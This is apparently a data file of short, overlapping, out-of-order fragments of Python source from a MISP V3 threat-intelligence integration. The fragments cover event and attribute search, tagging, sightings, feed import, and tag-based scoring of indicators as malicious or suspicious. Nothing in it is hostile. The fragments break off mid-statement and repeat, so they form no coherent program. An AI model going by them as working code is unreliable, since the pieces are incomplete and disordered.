Comment':\",\n \"filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id and deletes it.\",\n \"the tag list. is_event_level (bool): Whether the attribute_dict was received from an event\",\n \"ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL':\",\n \"{args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the\",\n \"\\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the\",\n \"obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain',\",\n \"event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}]\",\n \"ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids)\",\n \"id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'),\",\n \"'Please make sure the API key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do\",\n \"'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score':\",\n \"the given UUID is an attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid =\",\n \"outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path\",\n \"attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value:\",\n \"is an attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag =\",\n \"returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\"\",\n \"may not a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'):\",\n \"MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import\",\n \"= convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if\",\n \"= PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found\",\n \"List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors')\",\n \"if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events,\",\n \"return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\"\",\n \"{ 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = {\",\n \"command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids,\",\n \"url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port\",\n \"in both sets, it will be removed from the suspicious tag ids set\",\n \"'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked',\",\n \"attribute value in MISP and then calculates it's dbot score. The score is\",\n \"related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID')\",\n \"tag ids lists the indicator will be scored as malicious. - Attributes tags\",\n \"in unnecessary data, we want to limit this list to include only the\",\n \"PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools\",\n \"found_tag): \\\"\\\"\\\" This function searches for all the events that have the tag\",\n \"all the events that were detected as related to the tag. \\\"\\\"\\\" scored_events\",\n \"'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email',\",\n \"logic. Indicators of attributes and Events that: * have tags which configured as\",\n \"event_name): \\\"\\\"\\\" By the given object we go over all the tags and\",\n \"the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, }\",\n \"not found in MISP: \\\\nError message: {response}') else: human_readable = f'Event {event_id} has\",\n \"{pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return\",\n \"'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def\",\n \"as part of another command (create event for example) Args: event_id (int): Event\",\n \"= tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def\",\n \"output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in\",\n \"found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for\",\n \"return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if\",\n \"the original input will be returned Returns: str: dictionary created for misp to\",\n \"url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password\",\n \"(MISPEvent): When this function was called from create event command, the attrubite will\",\n \"MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations =\",\n \"DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\"\",\n \"= [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path\",\n \"in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for\",\n \"elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command\",\n \"demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if\",\n \"arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets\",\n \"comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen =\",\n \"demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if not isinstance(args, list):\",\n \"if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1\",\n \"'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion',\",\n \"is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator\",\n \"key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass\",\n \"dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key,\",\n \"ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag\",\n \"'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1\",\n \"if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value,\",\n \"set the event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg =\",\n \"UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP\",\n \"(False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add\",\n \"convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def\",\n \"proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object\",\n \"distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response:\",\n \"'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider',\",\n \"MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if\",\n \"v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name:\",\n \"{\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output,\",\n \"DemistoException('Missing API Key. Fill in a valid key in the integration configuration.') MISP_URL\",\n \"'OR:' and 'NOT:' using ',' as delimiter for parameters and ';' as delimiter\",\n \"raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def add_object(event_id:\",\n \"limits the tags and galaxies lists. Eventually, the outputs will be a list\",\n \"over all the attributes that found (after limit the attributes amount to the\",\n \"copy.deepcopy(response) if include_correlations: # return full related attributes only if the user wants\",\n \"suspicious tag ids set and will be stayed only in the malicious one\",\n \"is attribute's (is_event_level = false), and the tag is only related to an\",\n \"will be scored 3 (i.e malicious). * have tags which configured as suspicious\",\n \"'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type',\",\n \"regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query,\",\n \"isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for\",\n \"f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message += f\\\"Showing page {page}\",\n \"f\\\"## MISP create event\\\\nNew event with ID: {event_id} has been successfully created.\\\\n\\\" return\",\n \"may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes\",\n \"{ 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting',\",\n \"= set(), set() found_related_events = {} if not attributes_list: return None for attribute\",\n \"event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i\",\n \"reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids,\",\n \"successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response\",\n \"regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and\",\n \"= PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}')\",\n \"if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object\",\n \"{}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been added to\",\n \"if include_correlations: # return full related attributes only if the user wants to\",\n \"response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the\",\n \"return full related attributes only if the user wants to get them back\",\n \"for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return\",\n \"Extracting errors raised by PYMISP into readable response, for more information and examples\",\n \"response (dict): The parsed outputs to context data (array of attributes). score: the\",\n \"from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def\",\n \"in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object created\",\n \"type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', [])\",\n \"if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added\",\n \"not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address: {value} is not valid\\\") if\",\n \"'NOT:' using ',' as delimiter for parameters and ';' as delimiter for operators.\",\n \"for the given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert\",\n \"by sub-functions calculated the score of the indicator. For the context data outputs,\",\n \"'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page\",\n \"note: - In case the same tag appears in both Malicious tag ids\",\n \"\\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to',\",\n \"regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or =\",\n \"elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type\",\n \"outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False, demisto_args:\",\n \"'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id})\",\n \"'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference:\",\n \"None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict):\",\n \"'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis':\",\n \"attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if\",\n \"else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if\",\n \"'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low':\",\n \"the indicator Please see an example for a response in test_data/reputation_command_response.json Please see\",\n \"is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD,\",\n \"parses the response. This function goes over all the attributes that found (after\",\n \"controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute {uuid}' return\",\n \"extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP into readable response,\",\n \"values that match the search query when user set the arg 'compact' to\",\n \"not response: raise DemistoException( f\\\"Error: An event with the given id: {event_id} was\",\n \"found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values()))\",\n \"as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name')\",\n \"argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit\",\n \"returned Returns: str: dictionary created for misp to perform complex query or if\",\n \"return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags:\",\n \"except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed.\",\n \"the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') }\",\n \"\\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args()\",\n \"not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\"\",\n \"recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the\",\n \"= is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params,\",\n \"att_id) if response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable =\",\n \"= { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA =\",\n \"response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in\",\n \"it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid,\",\n \"if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id,\",\n \"None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({\",\n \"for every attribute we remove the \\\"Related Attribute\\\" list and limits the tags\",\n \"address: {value} is not valid\\\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value):\",\n \"no need in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i])\",\n \"raise DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json')\",\n \"has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',\",\n \"Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\":\",\n \"== 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value} is\",\n \"dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance,\",\n \"attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, )\",\n \"tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name,\",\n \"hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score)\",\n \"in MISP and then calculates it's dbot score. The score is calculated by\",\n \"is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response,\",\n \"att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not\",\n \"= { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0':\",\n \"outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag}\",\n \"(attribute tags). \\\"\\\"\\\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', [])\",\n \"human_readable = f\\\"## MISP add attribute\\\\nNew attribute: {value} was added to event id\",\n \"tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError:\",\n \"the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command()\",\n \"valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg\",\n \"if not attributes_list: return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid\",\n \"any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD,\",\n \"elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES))\",\n \"formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events =\",\n \"try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}`\",\n \"\\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be\",\n \"if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object]\",\n \"to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes =\",\n \"regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value} is not valid\\\") if dbot_type ==\",\n \"\\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit\",\n \"and suspicious) are stronger than events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious =\",\n \"demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme})\",\n \"any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD,\",\n \"not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args\",\n \"try: tag = int(tag) if tag <= 0: raise DemistoException(f\\\"Tag id has to\",\n \"'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value',\",\n \"NewConnectionError, ' 'Please make sure your MISP server url is correct.') if \\\"Please\",\n \"an id that exists in both sets, it will be removed from the\",\n \"= f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl,\",\n \"in range(0, len(events)): # Filter object from keys in event_args events[i] = {key:\",\n \"'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted':\",\n \"dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type =\",\n \"indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes\",\n \"is attribute's (attribute tags). \\\"\\\"\\\" output = [] tag_set_ids = set() tags_list =\",\n \"MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in\",\n \"response \\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err\",\n \"with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name,\",\n \"[] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return\",\n \"f'`attribute` parameter could not be decoded, may not a valid JSON\\\\nattribute: {attributes}', str(e))\",\n \"= misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids,\",\n \"to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args:\",\n \"demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as\",\n \"obj: object to add to MISP event_id: ID of event \\\"\\\"\\\" response =\",\n \"limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json()\",\n \"found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response,\",\n \"if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute\",\n \"f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable,\",\n \"== 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command\",\n \"https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object created in\",\n \"Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'),\",\n \"PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url':\",\n \"'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id':\",\n \"1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in\",\n \"range(0, len(events)): # Filter object from keys in event_args events[i] = {key: events[i].get(key)\",\n \"Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]:\",\n \"'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain':\",\n \"def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids (each one is str), and\",\n \"internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew event\",\n \"attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if 